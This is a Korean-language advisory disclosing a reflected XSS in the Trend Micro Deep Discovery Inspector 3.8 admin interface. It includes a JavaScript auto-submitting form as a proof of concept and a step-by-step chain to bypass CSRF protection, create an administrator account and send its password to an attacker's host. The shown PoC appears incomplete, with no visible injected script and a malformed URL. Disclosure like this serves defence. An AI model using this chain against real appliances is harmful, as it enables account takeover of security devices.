
Trend Micro Deep Discovery Inspector 3.8에서 반사형 XSS에 대한 개념 증명 익스플로잇으로, 인증된 웹 인터페이스를 통해 CSRF 우회 및 관리자 계정 탈취를 가능하게 합니다.
Deep Discovery Inspector 3.8 Service Pack 5 빌드 3.85.1165의 관리 웹 인터페이스에서 반사형 XSS 취약점을 발견했습니다. 취약한 스크립트 경로는 /php/detection_detail_filter.php입니다. 이 스크립트는 인증된 사용자만 접근할 수 있지만, 아래에 설명된 공격 시나리오를 고려할 때 취약성의 심각성이 줄어들지는 않습니다.
https://PASTE_DDI_IP_HERE/php/detection_detail_filter.php?ips%5B%5D=217.69.139.245%3A80
Screen1.png는 ips[] 매개변수가 HTML 코드 삽입에 취약함을 확인합니다.
이 취약점은 CSRF 보호를 우회하고, CSRF 토큰을 얻고, 성공적으로 CSRF 공격을 수행하는 데 사용될 수 있습니다. 또한 다음 시나리오를 사용하여 Deep Discovery Inspector 어플라이언스를 완전히 장악하는 것도 가능합니다:
1. DDI 웹 인터페이스에 로그인한 사용자가 악성 웹 페이지를 방문하도록 유도됩니다.
2. 이 페이지의 악성 스크립트는 /php/detection_detail_filter.php의 XSS 취약점을 통해 실행됩니다.
3. 스크립트는 /wsgi/csrf/get_token/에 대한 PUT 요청을 통해 CSRF 토큰을 얻습니다.
4. 그런 다음 이전 요청의 응답에서 얻은 토큰을 사용하여 관리자 권한이 있는 계정을 추가합니다.
5. 추가된 계정의 비밀번호는 이전 요청의 응답에서 얻습니다.
6. 비밀번호는 HTTP 요청을 통해 공격자의 호스트로 전송될 수 있습니다.
Screen2.png는 공격이 실행되는 모습을 보여줍니다.
공격을 재현하려면 다음 코드 조각을 사용할 수 있습니다(ddi_ip 변수는 DDI 어플라이언스의 IP에 맞게 변경해야 합니다):
<b>DDI PoC</b>
<script type="text/javascript">
function post(path, params, method) {
method = method || "post"; // Set method to post by default if not specified.
// The rest of this code assumes you are not using a library.
// It can be made less wordy if you use one.
var form = document.createElement("form");
form.setAttribute("method", 'POST');
form.setAttribute("action", path);
for(var key in params) {
if(params.hasOwnProperty(key)) {
var hiddenField = document.createElement("input");
hiddenField.setAttribute("type", "hidden");
hiddenField.setAttribute("name", key);
hiddenField.setAttribute("value", params[key]);
form.appendChild(hiddenField);
}
}
document.body.appendChild(form);
form.submit();
}
var ddi_ip = '192.168.91.66';
post('https:///'+ddi_ip+'/php/detection_detail_filter.php', {'ips[]':'217.69.139.245:8'});
</script>
이 PoC 코드는 공격자의 웹 서버에 배치되어야 하며, DDI 웹 인터페이스에 로그인한 사용자(관리자 권한)가 이 서버에 대한 링크를 열어야 합니다. 사용자는 사회공학적 기법을 사용하여 링크를 클릭하도록 유도될 수 있습니다.
Trend Micro는 다음과 같은 해결 방법을 제공했습니다: https://success.trendmicro.com/solution/1121079